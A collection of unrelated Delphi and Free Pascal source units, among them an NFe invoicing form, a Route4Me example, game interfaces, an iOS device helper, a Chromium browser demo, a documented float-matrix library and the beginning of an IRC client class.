udmDados.aHambienteNFe := dmDados.cdsEmpresaambiente_nfe.AsString;
dmDados.cdsEmpresa.close;
//
if (udmDados.aHambienteNFe = '1') Then
StatusBar1.Panels[2].Text := 'AMBIENTE: PRODUÇÃO'
Else
StatusBar1.Panels[2].Text := 'AMBIENTE: HOMOLOGAÇÃO';
end;
procedure TFrmMainNFe.actSobreExecute(Sender: TObject);
begin
Application.CreateForm(TfrmSobre, frmSobre);
Try
frmSobre.ShowModal;
Finally
frmSobre.Free;
End;
end;
end.
|
unit RemoveDestinationFromOptimizationUnit;
interface
uses SysUtils, BaseExampleUnit;
type
TRemoveDestinationFromOptimization = class(TBaseExample)
public
procedure Execute(
OptimizationId: String; DestinationId: integer; AndReOptimize: boolean);
end;
implementation
procedure TRemoveDestinationFromOptimization.Execute(
OptimizationId: String; DestinationId: integer; AndReOptimize: boolean);
var
ErrorString: String;
Removed: boolean;
begin
Removed := Route4MeManager.Optimization.RemoveDestination(
OptimizationId, DestinationId, ErrorString);
WriteLn('');
if (Removed) then
begin
WriteLn('RemoveAddressFromOptimization executed successfully');
WriteLn(Format('Optimization Problem ID: %s, Destination ID: %d',
[OptimizationId, DestinationId]));
end
else
WriteLn(Format('RemoveAddressFromOptimization error: %s', [ErrorString]));
end;
end.
|
unit GameTypes;
interface
uses
Windows, Classes, Graphics, Warnings, SpriteImages, SpeedBmp;
type
index = 0..0;
const // Focus kinds (0..9 ~ Reserved)
fkSelection = 0;
type
TGameImage = TFrameImage;
TCanvasImage = TSpeedBitmap;
type
PRectArray = ^TRectArray;
TRectArray = array[0..0] of TRect;
type
TZoomLevel = integer;
TZoomRes = (zr4x8, zr8x16, zr16x32, zr32x64); // ZoomLevel ~ ord(ZoomRes)
TRotation = (drNorth, drEast, drSouth, drWest);
type
TAngle = (agN, agNNE, agNE, agENE, agE, agESE, agSE, agSSE, agS, agSSW, agSW, agWSW, agW, agWNW, agNW, agNNW);
type
IGameUpdater =
interface
function Lock : integer;
function Unlock : integer;
function LockCount : integer;
procedure QueryUpdate(Defer : boolean);
end;
type
IGameView = interface;
IGameFocus =
interface(IGameUpdater)
procedure MouseMove(x, y : integer);
procedure MouseClick;
procedure KeyPressed(which : word; const Shift : TShiftState);
procedure Refresh;
function GetText(kind : integer) : string;
function GetObject : TObject;
procedure Dispatch(var msg);
function GetInformant : IWarningInformant;
function GetRect : TRect;
procedure SetRect(const R : TRect);
end;
IGameDocument = interface;
IGameView =
interface(IGameUpdater)
// private
function GetOrigin : TPoint;
procedure SetOrigin(const which : TPoint);
function GetDocument : IGameDocument;
procedure SetDocument(const which : IGameDocument);
function GetZoomLevel : TZoomLevel;
procedure SetZoomLevel(which : TZoomLevel);
function GetRotation : TRotation;
procedure SetRotation(which : TRotation);
function GetImageSuit : integer;
// public
procedure UpdateRegions(const which : array of TRect);
function GetFocus : IGameFocus;
function GetSize : TPoint;
function ViewPtToScPt(const which : TPoint) : TPoint;
function ScPtToViewPt(const which : TPoint) : TPoint;
function GetTextDimensions(const text : string; out width, height : integer) : boolean;
property Origin : TPoint read GetOrigin write SetOrigin;
property Size : TPoint read GetSize;
property Document : IGameDocument read GetDocument write SetDocument;
property ZoomLevel : TZoomLevel read GetZoomLevel write SetZoomLevel;
property Rotation : TRotation read GetRotation write SetRotation;
end;
IGameDocument =
interface
procedure RenderSnapshot(const view : IGameView; const ClipRect : TRect; target : TCanvasImage);
function ClipMovement(const view : IGameView; var dx, dy : integer) : boolean;
function CreateFocus(const view : IGameView) : IGameFocus;
procedure SetImageSuit( ImageSuit : integer );
end;
implementation
end.
|
unit DW.OSDevice.iOS;
{*******************************************************}
{ }
{ Kastri }
{ }
{ Delphi Worlds Cross-Platform Library }
{ }
{ Copyright 2020-2021 Dave Nottage under MIT license }
{ which is located in the root folder of this library }
{ }
{*******************************************************}
{$I DW.GlobalDefines.inc}
interface
uses
// DW
DW.OSDevice;
type
TPlatformOSDevice = record
public
class function GetCurrentLocaleInfo: TLocaleInfo; static;
class function GetDeviceModel: string; static;
class function GetDeviceName: string; static;
class function GetPackageID: string; static;
class function GetPackageVersion: string; static;
class function GetUniqueDeviceID: string; static;
class function IsScreenLocked: Boolean; static;
class function IsTouchDevice: Boolean; static;
class procedure OpenURL(const AURL: string); static;
end;
implementation
uses
// RTL
System.SysUtils,
// macOS
Macapi.Helpers,
// iOS
iOSapi.Helpers, iOSapi.Foundation,
// Posix
Posix.SysUtsname,
// DW
DW.Macapi.Helpers, DW.iOSapi.Foundation;
{ TPlatformOSDevice }
class function TPlatformOSDevice.GetCurrentLocaleInfo: TLocaleInfo;
var
LLocale: NSLocale;
begin
LLocale := TNSLocale.Wrap(TNSLocale.OCClass.currentLocale);
Result.LanguageCode := NSStrToStr(LLocale.languageCode);
Result.LanguageDisplayName := NSStrToStr(LLocale.localizedStringForLanguageCode(LLocale.languageCode));
Result.CountryCode := NSStrToStr(LLocale.countryCode);
Result.CountryDisplayName := NSStrToStr(LLocale.localizedStringForCountryCode(LLocale.countryCode));
Result.CurrencySymbol := NSStrToStr(LLocale.currencySymbol);
end;
class function TPlatformOSDevice.GetDeviceModel: string;
var
LUtsName: utsname;
begin
Result := '';
if uname(LUtsName) <> -1 then
Result := string(UTF8String(LUtsName.machine));
end;
class function TPlatformOSDevice.GetDeviceName: string;
begin
Result := NSStrToStr(TiOSHelper.CurrentDevice.name);
end;
class function TPlatformOSDevice.GetUniqueDeviceID: string;
begin
Result := NSStrToStr(TiOSHelper.CurrentDevice.identifierForVendor.UUIDString);
end;
class function TPlatformOSDevice.IsScreenLocked: Boolean;
begin
Result := False; // To be implemented
end;
class function TPlatformOSDevice.IsTouchDevice: Boolean;
begin
Result := True;
end;
class procedure TPlatformOSDevice.OpenURL(const AURL: string);
begin
TiOSHelper.SharedApplication.openURL(TNSURL.Wrap(TNSURL.OCClass.URLWithString(StrToNSStr(AURL))));
end;
class function TPlatformOSDevice.GetPackageID: string;
begin
Result := TMacHelperEx.GetBundleValue('CFBundleIdentifier');
end;
class function TPlatformOSDevice.GetPackageVersion: string;
begin
Result := TMacHelperEx.GetBundleValue('CFBundleVersion');
end;
end.
|
unit kwPopFormMDIChildren;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Библиотека "ScriptEngine"
// Модуль: "w:/common/components/rtl/Garant/ScriptEngine/kwPopFormMDIChildren.pas"
// Родные Delphi интерфейсы (.pas)
// Generated from UML model, root element: <<ScriptKeyword::Class>> Shared Delphi Scripting::ScriptEngine::FormsProcessing::pop_form_MDIChildren
//
// *Формат:* anID aForm pop:form:MDIChildren
// *Описание:* Складывает в стек указатель на дочернюю форму, если есть. anID - номер дочерней
// формы в списке дочерних форм.
//
//
// Все права принадлежат ООО НПП "Гарант-Сервис".
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ! Полностью генерируется с модели. Править руками - нельзя. !
{$Include ..\ScriptEngine\seDefine.inc}
interface
{$If not defined(NoScripts)}
uses
Forms,
tfwScriptingInterfaces,
Controls,
Classes
;
{$IfEnd} //not NoScripts
{$If not defined(NoScripts)}
type
{$Include ..\ScriptEngine\kwFormFromStackWord.imp.pas}
TkwPopFormMDIChildren = class(_kwFormFromStackWord_)
{* *Формат:* anID aForm pop:form:MDIChildren
*Описание:* Складывает в стек указатель на дочернюю форму, если есть. anID - номер дочерней формы в списке дочерних форм. }
protected
// realized methods
procedure DoForm(aForm: TForm;
const aCtx: TtfwContext); override;
public
// overridden public methods
class function GetWordNameForRegister: AnsiString; override;
end;//TkwPopFormMDIChildren
{$IfEnd} //not NoScripts
implementation
{$If not defined(NoScripts)}
uses
tfwAutoregisteredDiction,
tfwScriptEngine,
Windows,
afwFacade
;
{$IfEnd} //not NoScripts
{$If not defined(NoScripts)}
type _Instance_R_ = TkwPopFormMDIChildren;
{$Include ..\ScriptEngine\kwFormFromStackWord.imp.pas}
// start class TkwPopFormMDIChildren
procedure TkwPopFormMDIChildren.DoForm(aForm: TForm;
const aCtx: TtfwContext);
//#UC START# *4F2145550317_4E4CC5300064_var*
//#UC END# *4F2145550317_4E4CC5300064_var*
begin
//#UC START# *4F2145550317_4E4CC5300064_impl*
RunnerAssert(aCtx.rEngine.IsTopInt, 'Не задан номер дочерней формы!', aCtx);
aCtx.rEngine.PushObj(aForm.MDIChildren[aCtx.rEngine.PopInt]);
//#UC END# *4F2145550317_4E4CC5300064_impl*
end;//TkwPopFormMDIChildren.DoForm
class function TkwPopFormMDIChildren.GetWordNameForRegister: AnsiString;
{-}
begin
Result := 'pop:form:MDIChildren';
end;//TkwPopFormMDIChildren.GetWordNameForRegister
{$IfEnd} //not NoScripts
initialization
{$If not defined(NoScripts)}
{$Include ..\ScriptEngine\kwFormFromStackWord.imp.pas}
{$IfEnd} //not NoScripts
end. |
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls,
dcefb_Browser, dcef3_ceflib;
type
TForm1 = class(TForm)
DcefBrowser1: TDcefBrowser;
Panel1: TPanel;
AddressEdit: TEdit;
AddButton: TButton;
Panel2: TPanel;
Button4: TButton;
Button1: TButton;
Panel3: TPanel;
Button2: TButton;
procedure AddressEditKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Button4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure DcefBrowser1LoadEnd(const PageIndex: Integer;
const browser: ICefBrowser; const frame: ICefFrame;
httpStatusCode: Integer);
procedure FormCreate(Sender: TObject);
procedure AddButtonClick(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
procedure UpdateStates;
procedure DoPageChanged(Sender: TObject);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.AddButtonClick(Sender: TObject);
begin
DcefBrowser1.AddPage();
AddressEdit.Text := 'about:blank';
end;
procedure TForm1.AddressEditKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_RETURN then
begin
Key := 0;
DcefBrowser1.Load(AddressEdit.Text);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
DcefBrowser1.GoForward;
UpdateStates;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
DcefBrowser1.Load(AddressEdit.Text);
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
DcefBrowser1.GoBack;
UpdateStates;
end;
procedure TForm1.DcefBrowser1LoadEnd(const PageIndex: Integer;
const browser: ICefBrowser; const frame: ICefFrame; httpStatusCode: Integer);
var
I: Integer;
begin
UpdateStates;
if DcefBrowser1.ActivePageIndex = PageIndex then
Caption := DcefBrowser1.ActivePage.title;
end;
procedure TForm1.DoPageChanged(Sender: TObject);
begin
Caption := DcefBrowser1.ActivePage.title;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
DcefBrowser1.TabVisible := True;
DcefBrowser1.OnPageChanged := DoPageChanged;
end;
procedure TForm1.UpdateStates;
begin
Button4.Enabled := DcefBrowser1.canGoBack;
Button1.Enabled := DcefBrowser1.canGoForward;
end;
//demo create by swish
end.
|
unit View.ImportacaoMovimentacao;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, System.Actions, Vcl.ActnList, Vcl.Buttons, Vcl.ComCtrls,
System.DateUtils, Controller.ListagemMovimentacoesJornal;
type
Tview_ImportacaoMovimentacao = class(TForm)
panelTitle: TPanel;
lblTitle: TLabel;
panelButtonImportar: TPanel;
panelButtonSair: TPanel;
aclMovimento: TActionList;
actImportar: TAction;
actSair: TAction;
speedButtonImportar: TSpeedButton;
speedButtonSair: TSpeedButton;
lblArquivo: TLabel;
editArquivo: TEdit;
lblData: TLabel;
dateTimePickerData: TDateTimePicker;
speedButtonArquivo: TSpeedButton;
actAbrir: TAction;
lblNotice: TLabel;
imageLogo: TImage;
procedure actSairExecute(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
procedure actAbrirExecute(Sender: TObject);
procedure actImportarExecute(Sender: TObject);
private
{ Private declarations }
procedure ImportData;
procedure ClearForm;
function ValidateProcess(): Boolean;
public
{ Public declarations }
end;
var
view_ImportacaoMovimentacao: Tview_ImportacaoMovimentacao;
implementation
{$R *.dfm}
uses dataModule, Common.Utils;
procedure Tview_ImportacaoMovimentacao.actAbrirExecute(Sender: TObject);
begin
if Data_Module.FileOpenDialog.Execute then
begin
editArquivo.Text := Data_Module.FileOpenDialog.FileName;
end;
end;
procedure Tview_ImportacaoMovimentacao.actImportarExecute(Sender: TObject);
begin
ImportData;
end;
procedure Tview_ImportacaoMovimentacao.actSairExecute(Sender: TObject);
begin
Self.Close;
end;
procedure Tview_ImportacaoMovimentacao.ClearForm;
begin
editArquivo.Clear;
dateTimePickerData.Date := IncDay(Now(),1);
editArquivo.SetFocus;
lblNotice.Visible := False;
end;
procedure Tview_ImportacaoMovimentacao.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
view_ImportacaoMovimentacao := Nil;
end;
procedure Tview_ImportacaoMovimentacao.FormShow(Sender: TObject);
begin
lblTitle.Caption := Self.Caption;
ClearForm;
end;
procedure Tview_ImportacaoMovimentacao.ImportData;
var
FListagem: TListagemMovimentacoesJornalControl;
begin
if not ValidateProcess() then Exit;
if TUtils.Dialog( 'Importar', 'Confirma a importação do arquivo ?',3) = IDOK then
begin
lblNotice.Visible := True;
lblNotice.Refresh;
FListagem := TListagemMovimentacoesJornalControl.Create;
if not FListagem.ImportData(editArquivo.Text, dateTimePickerData.Date) then
begin
TUtils.Dialog('Atenção', 'Operação NÃO foi concluída!', 2);
end
else
begin
TUtils.Dialog('Sucesso', 'Operação concluída!', 1);
end;
ClearForm;
FListagem.Free;
end;
end;
function Tview_ImportacaoMovimentacao.ValidateProcess: Boolean;
begin
Result := False;
if editArquivo.Text = '' then
begin
TUtils.Dialog('Atenção', 'Informe o arquivo de planilha a ser importado!', 0);
editArquivo.SetFocus;
Exit;
end;
Result := True;
end;
end.
|
{!DOCTOPIC}{
Matrix » TFloatMatrix
}
{!DOCREF} {
@method: Single percision floating point matrix
@desc: [hr]
}
{!DOCREF} {
@method: procedure TFloatMatrix.SetSize(Height,Width:Int32);
@desc:
Sets the size (width and height) of the matrix.
Same as SetLength(Matrix, H,W);
}
procedure TFloatMatrix.SetSize(Height,Width:Int32);
begin
SetLength(Self, Height,Width);
end;
{!DOCREF} {
@method: function TFloatMatrix.Width(): Int32;
@desc: Retruns the width of the matrix (safly)
}
function TFloatMatrix.Width(): Int32;
begin
if Length(Self) > 0 then
Result := Length(Self[0])
else
Result := 0;
end;
{!DOCREF} {
@method: function TFloatMatrix.Height(): Int32;
@desc: Retruns the height of the matrix
}
function TFloatMatrix.Height(): Int32;
begin
Result := Length(Self);
end;
{!DOCREF} {
@method: function TFloatMatrix.Get(const Indices:TPointArray): TFloatArray;
@desc:
Gets all the values at the given indices. If any of the points goes out
of bounds, it will simply be ignored.
[code=pascal]
var
Matrix:TFloatMatrix;
begin
Matrix.SetSize(100,100);
Matrix[10][10] := 100;
Matrix[10][13] := 29;
WriteLn( Matrix.Get([Point(10,10),Point(13,10),Point(20,20)]));
end;
[/code]
}
function TFloatMatrix.Get(const Indices:TPointArray): TFloatArray;
begin
Result := exp_GetValues(Self, Indices);
end;
{!DOCREF} {
@method: procedure TFloatMatrix.Put(const TPA:TPointArray; Values:TFloatArray);
@desc: Adds the points to the matrix with the given values.
}
procedure TFloatMatrix.Put(const TPA:TPointArray; Values:TFloatArray);
begin
exp_PutValues(Self, TPA, Values);
end;
{!DOCREF} {
@method: procedure TFloatMatrix.Put(const TPA:TPointArray; Value:Single); overload;
@desc: Adds the points to the matrix with the given value.
}
procedure TFloatMatrix.Put(const TPA:TPointArray; Value:Single); overload;
begin
exp_PutValues(Self, TPA, TFloatArray([Value]));
end;
{!DOCREF} {
@method: function TFloatMatrix.Merge(): TFloatArray;
@desc: Merges the matrix is to a flat array of the same type.
}
function TFloatMatrix.Merge(): TFloatArray;
var i,s,wid: Int32;
begin
S := 0;
SetLength(Result, Self.Width()*Self.Height());
Wid := Self.Width();
for i:=0 to High(Self) do
begin
MemMove(Self[i][0], Result[S], Wid*SizeOf(Single));
S := S + Wid;
end;
end;
{!DOCREF} {
@method: function TFloatMatrix.Sum(): Double;
@desc: Returns the sum of the matrix
}
function TFloatMatrix.Sum(): Double;
var i: Integer;
begin
for i:=0 to High(Self) do
Result := Result + Self[i].Sum();
end;
{!DOCREF} {
@method: function TFloatMatrix.Mean(): Double;
@desc: Returns the mean of the matrix
}
function TFloatMatrix.Mean(): Double;
var i: Integer;
begin
for i:=0 to High(Self) do
Result := Result + Self[i].Mean();
Result := Result / Length(Self);
end;
{!DOCREF} {
@method: function TFloatMatrix.Stdev(): Double;
@desc: Returns the standard deviation of the matrix
}
function TFloatMatrix.Stdev(): Double;
var
x,y,i,W,H:Int32;
avg:Single;
square:TDoubleArray;
begin
W := Self.Width() - 1;
H := Self.Height() - 1;
avg := Self.Mean();
SetLength(square,Self.Width()*Self.Height());
i := -1;
for y:=0 to H do
for x:=0 to W do
Square[inc(i)] := Sqr(Self[y,x] - avg);
Result := Sqrt(square.Mean());
end;
{!DOCREF} {
@method: function TFloatMatrix.Variance(): Double;
@desc:
Return the sample variance.
Variance, or second moment about the mean, is a measure of the variability (spread or dispersion) of the matrix.
A large variance indicates that the data is spread out; a small variance indicates it is clustered closely around the mean.
}
function TFloatMatrix.Variance(): Double;
var
avg:Single;
x,y,w,h:Int32;
begin
W := Self.Width() - 1;
H := Self.Height() - 1;
avg := Self.Mean();
for y:=0 to H do
for x:=0 to W do
Result := Result + Sqr(Self[y,x] - avg);
Result := Result / ((W+1) * (H+1));
end;
{!DOCREF} {
@method: function TFloatMatrix.Mode(Eps:Single=0.0000001): Single;
@desc:
Returns the sample mode of the matrix, which is the most frequently occurring value in the matrix.
When there are multiple values occurring equally frequently, mode returns the smallest of those values.
}
function TFloatMatrix.Mode(Eps:Single=0.0000001): Single;
begin
Result := Self.Merge().Mode(Eps);
end;
{------------| GetArea, GetCols, GetRows |------------}
{!DOCREF} {
@method: function TFloatMatrix.Area(X1,Y1,X2,Y2:Int32): TFloatMatrix;
@desc: Crops the matrix to the given box and returns that area.
}
function TFloatMatrix.Area(X1,Y1,X2,Y2:Int32): TFloatMatrix;
begin
Result := exp_GetArea(Self, X1,Y1,X2,Y2);
end;
{!DOCREF} {
@method: function TFloatMatrix.Cols(FromCol, ToCol:Integer): TFloatMatrix;
@desc: Returns all the wanted columns as a new matrix.
}
function TFloatMatrix.Cols(FromCol, ToCol:Integer): TFloatMatrix;
begin
Result := exp_GetCols(Self, FromCol, ToCol);
end;
{!DOCREF} {
@method: function TFloatMatrix.Rows(FromRow, ToRow:Integer): TFloatMatrix;
@desc: Returns all the wanted rows as a new matrix.
}
function TFloatMatrix.Rows(FromRow, ToRow:Integer): TFloatMatrix;
begin
Result := exp_GetRows(Self, FromRow, ToRow);
end;
{------------| FlipMat |------------}
{!DOCREF} {
@method: function TFloatMatrix.Rows(FromRow, ToRow:Integer): TFloatMatrix;
@desc:
Order of the items in the array is flipped, meaning x becomes y, and y becomes x.
Example:
[code=pascal]
var
x:TFloatMatrix;
begin
x := [[1,2,3],[1,2,3],[1,2,3]];
WriteLn(x.Flip());
end.
[/code]
>> `[[1, 1, 1], [2, 2, 2], [3, 3, 3]]`
}
function TFloatMatrix.Flip(): TFloatMatrix;
begin
Result := exp_Flip(Self);
end;
{------------| Indices |------------}
{!DOCREF} {
@method: function TFloatMatrix.Indices(Value: Single; const Comparator:TComparator): TPointArray;
@desc:
Returns all the indices which matches the given value, and comperator.
EG: `TPA := Matrix.Indices(10, __LT__)` would return where all the items which are less then 10 is.
}
function TFloatMatrix.Indices(Value: Single; const Comparator:TComparator): TPointArray;
begin
Result := exp_Indices(Self, Value, Comparator);
end;
{!DOCREF} {
@method: function TFloatMatrix.Indices(Value: Single; B:TBox; const Comparator:TComparator): TPointArray; overload;
@desc:
Returns all the indices which matches the given value, and comperator.
EG: c'Matrix.Indices(10, __LT__)' would return all the items which are less then 10.
Takes an extra param to only check a cirtain area of the matrix.
}
function TFloatMatrix.Indices(Value: Single; B:TBox; const Comparator:TComparator): TPointArray; overload;
begin
Result := exp_Indices(Self, B, Value, Comparator);
end;
{------------| ArgMin/ArgMax |------------}
{!DOCREF} {
@method: function TFloatMatrix.ArgMax(): TPoint;
@desc: ArgMax returns the index of the largest item
}
function TFloatMatrix.ArgMax(): TPoint;
begin
Result := exp_ArgMax(Self)
end;
{!DOCREF} {
@method: function TFloatMatrix.ArgMax(Count:Int32): TPointArray; overload;
@desc: Returns the n-largest elements, by index
}
function TFloatMatrix.ArgMax(Count:Int32): TPointArray; overload;
begin
Result := exp_ArgMulti(Self, Count, True);
end;
{!DOCREF} {
@method: function TFloatMatrix.ArgMax(B:TBox): TPoint; overload;
@desc: ArgMax returns the index of the largest item within the given bounds c'B'.
}
function TFloatMatrix.ArgMax(B:TBox): TPoint; overload;
begin
Result := exp_ArgMax(Self, B);
end;
{!DOCREF} {
@method: function TFloatMatrix.ArgMin(): TPoint;
@desc: ArgMin returns the index of the smallest item.
}
function TFloatMatrix.ArgMin(): TPoint;
begin
if Length(Self) > 0 then
Result := exp_ArgMin(Self);
end;
{!DOCREF} {
@method: function TFloatMatrix.ArgMin(Count:Int32): TPointArray; overload;
@desc: Returns the n-smallest elements, by index
}
function TFloatMatrix.ArgMin(Count:Int32): TPointArray; overload;
begin
Result := exp_ArgMulti(Self, Count, False);
end;
{!DOCREF} {
@method: function TFloatMatrix.ArgMin(B:TBox): TPoint; overload;
@desc: ArgMin returns the index of the smallest item within the given bounds c'B'.
}
function TFloatMatrix.ArgMin(B:TBox): TPoint; overload;
begin
if Length(Self) > 0 then
Result := exp_ArgMin(Self, B);
end;
{------------| VarMin/VarMax |------------}
{!DOCREF} {
@method: function TFloatMatrix.VarMax(): Single;
@desc: ArgMax returns the largest item
}
function TFloatMatrix.VarMax(): Single;
var tmp:TPoint;
begin
tmp := exp_ArgMax(Self);
Result := Self[tmp.y, tmp.x];
end;
{!DOCREF} {
@method: function TFloatMatrix.VarMax(Count:Int32): TFloatArray; overload;
@desc: Returns the n-largest elements
}
function TFloatMatrix.VarMax(Count:Int32): TFloatArray; overload;
begin
Result := exp_VarMulti(Self, Count, True);
end;
{!DOCREF} {
@method: function TFloatMatrix.VarMax(B:TBox): Single; overload;
@desc: ArgMax returns the largest item within the given bounds `B`
}
function TFloatMatrix.VarMax(B:TBox): Single; overload;
var tmp:TPoint;
begin
tmp := exp_ArgMax(Self, B);
Result := Self[tmp.y, tmp.x];
end;
{!DOCREF} {
@method: function TFloatMatrix.VarMin(): Single;
@desc: ArgMin returns the the smallest item
}
function TFloatMatrix.VarMin(): Single;
var tmp:TPoint;
begin
tmp := exp_ArgMin(Self);
Result := Self[tmp.y, tmp.x];
end;
{!DOCREF} {
@method: function TFloatMatrix.VarMin(Count:Int32): TFloatArray; overload;
@desc: Returns the n-smallest elements
}
function TFloatMatrix.VarMin(Count:Int32): TFloatArray; overload;
begin
Result := exp_VarMulti(Self, Count, False);
end;
{!DOCREF} {
@method: function TFloatMatrix.VarMin(B:TBox): Single; overload;
@desc: VarMin returns the smallest item within the given bounds `B`
}
function TFloatMatrix.VarMin(B:TBox): Single; overload;
var tmp:TPoint;
begin
tmp := exp_ArgMin(Self, B);
Result := Self[tmp.y, tmp.x];
end;
{------------| MinMax |------------}
{!DOCREF} {
@method: procedure TFloatMatrix.MinMax(var Min, Max:Single);
@desc: Returns the smallest, and the largest element in the matrix.
}
procedure TFloatMatrix.MinMax(var Min, Max:Single);
begin
exp_MinMax(Self, Min, Max);
end;
{------------| CombineMatrix |------------}
{!DOCREF} {
@method: function TFloatMatrix.Combine(Other:TFloatMatrix; OP:Char='+'): TFloatMatrix;
@desc:
Merges the two matrices in to one matrix.. Supports different operatrions/methods for combining ['+','-','*','/'].
[code=pascal]
var Mat:TFloatMatrix;
begin
SetLength(Mat, 3);
Mat[0] := [1,1,1];
Mat[1] := [2,2,2];
Mat[2] := [3,3,3];
WriteLn( Mat.Combine(Mat, '*') );
end.
[/code]
Outputs:
>>> `[[1, 1, 1], [4, 4, 4], [9, 9, 9]]`
}
function TFloatMatrix.Combine(Other:TFloatMatrix; OP:Char='+'): TFloatMatrix;
begin
Result := exp_CombineMatrix(Self, Other, OP);
end;
{------------| Normalize (Matrix) |------------}
{!DOCREF} {
@method: function TFloatMatrix.Normalize(Alpha, Beta:Single): TFloatMatrix;
@desc: Fits each element of the matrix within the values of Alpha and Beta.
}
function TFloatMatrix.Normalize(Alpha, Beta:Single): TFloatMatrix;
begin
Result := exp_Normalize(Self, Alpha, Beta);
end; |
unit IRC;
{$mode objfpc}{$H+}
interface
uses
Classes, IdIRC, IdComponent, IdContext, IRCCommands, IdException, ChannelList,
IRCViewIntf, quitcommand, partedcommand, joinedcommand;
type
{ TIRC }
TOnNickListReceived = procedure(const Channel: string; List: TStrings) of object;
TOnUserEvent = procedure(const Channel, User: string) of object;
TOnMessageReceived = procedure(const Channel, Message: string; OwnMessage: boolean) of object;
TOnShowPopup = procedure(const Msg: string) of object;
TIRC = class
private
FChannelList: TChannelList;
FReady: boolean;
FChannel: string;
FMessage: string;
FServerMessage: string;
FServerMessages: TStrings;
FNickNameList: TStrings;
FActiveChannel: string;
FIdIRC: TIdIRC;
FOnNickListReceived: TOnNickListReceived;
FOnUserJoined: TOnUserEvent;
FOnMessageReceived: TOnMessageReceived;
FOnShowPopup: TOnShowPopup;
FAutoJoinChannels: TStrings;
FCommands: TIRCCommand;
FOwnMessage: boolean;
FOldNickName: string;
FNewNickName: string;
FView: IIRCView;
FQuitCommand: TQuitCommand;
FPartedCommand: TPartedCommand;
FJoinedCommand: TJoinedCommand;
procedure ConfigureEvents;
procedure DoDisconnect;
function FormatMessage(const NickName, Message: string): string;
function GetHostName: string;
function GetNickName: string;
function FormatNickName(const AMessage: string): string;
function IsInputCommand(const Message: string): boolean;
procedure MessageToChannel(const Msg: string);
procedure MessageReceived(const Channel, Message: string; OwnMessage: boolean);
procedure Raw(const RawString: string);
procedure OnStatus(ASender: TObject; const AStatus: TIdStatus; const AStatusText: string);
procedure OnNotice(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, ANotice: string);
procedure OnMOTD(ASender: TIdContext; AMOTD: TStrings);
procedure OnRaw(ASender: TIdContext; AIn: boolean; const AMessage: string);
procedure OnPrivateMessage(ASender: TIdContext; const ANickname, AHost, ATarget, AMessage: string);
procedure OnNickNameListReceive(ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
procedure OnJoin(ASender: TIdContext; const ANickname, AHost, AChannel: string);
procedure OnPart(ASender: TIdContext; const ANickname, AHost, AChannel, APartMessage: string);
procedure OnQuit(ASender: TIdContext; const ANickname, AHost, AReason: string);
procedure OnWelcome(ASender: TIdContext; const AMsg: string);
procedure OnTopic(ASender: TIdContext; const ANickname, AHost, AChannel, ATopic: string);
procedure OnNickNameChanged(ASender: TIdContext; const AOldNickname, AHost, ANewNickname: string);
procedure RemoveEvents;
function RemoveOPVoicePrefix(const Channel: string): string;
procedure Say(const Channel, Msg: string);
procedure SendMessage;
procedure SendNickNameListReceived;
procedure SendServerMessage; overload;
procedure SendServerMessage(const Msg: string); overload;
procedure SendNickNameChanged;
procedure DoConnect;
procedure HandleIdException(E: EIdException);
public
property Ready: boolean read FReady;
property ActiveChannel: string read FActiveChannel write FActiveChannel;
property OnNickListReceived: TOnNickListReceived read FOnNickListReceived write FOnNickListReceived;
property OnUserJoined: TOnUserEvent read FOnUserJoined write FOnUserJoined;
property OnMessageReceived: TOnMessageReceived read FOnMessageReceived write FOnMessageReceived;
property OnShowPopup: TOnShowPopup read FOnShowPopup write FOnShowPopup;
property NickName: string read GetNickName;
property HostName: string read GetHostName;
procedure AutoJoinChannels;
function IsConnected: boolean;
procedure Connect;
procedure Disconnect;
procedure Join(const Name: string);
procedure Part(const Name: string);
procedure Ping;
procedure SendMessage(const Message: string);
constructor Create(ChannelList: TChannelList);
destructor Destroy; override;
end;
implementation
uses idircconfig, IdSync, SysUtils;
const
NickNameFormat = '<%s>';
MessageFormat = '%s ' + NickNameFormat + ': %s';
resourcestring
StrTopic = 'Topic for %s: %s' + sLineBreak;
procedure TIRC.DoDisconnect;
begin
try
FIdIRC.Disconnect(False);
FIdIRC.IOHandler.InputBuffer.Clear;
except
//We just ignore everything at this point and hope for the best
end;
FChannelList.ClearChannels;
end;
procedure TIRC.ConfigureEvents;
begin
// Remember to remove the events in the RemoveEvents method
// If you don't clen up the events the thread can try to notify
// the UI and cause a deadlock, see Issue #18
FIdIRC.OnStatus := @OnStatus;
FIdIRC.OnNotice := @OnNotice;
FIdIRC.OnMOTD := @OnMOTD;
FIdIRC.OnPrivateMessage := @OnPrivateMessage;
FIdIRC.OnNicknamesListReceived := @OnNickNameListReceive;
FIdIRC.OnJoin := @OnJoin;
FIdIRC.OnPart := @OnPart;
FIdIRC.OnServerWelcome := @OnWelcome;
FIdIRC.OnRaw := @OnRaw;
FIdIRC.OnQuit := @OnQuit;
FIdIRC.OnTopic := @OnTopic;
FIdIRC.OnNicknameChange := @OnNickNameChanged;
end;
function TIRC.FormatMessage(const NickName, Message: string): string;
begin
Result := Format(MessageFormat, [FormatDateTime(DefaultFormatSettings.ShortTimeFormat, Now), NickName, Message]);
end;
function TIRC.GetHostName: string;
begin
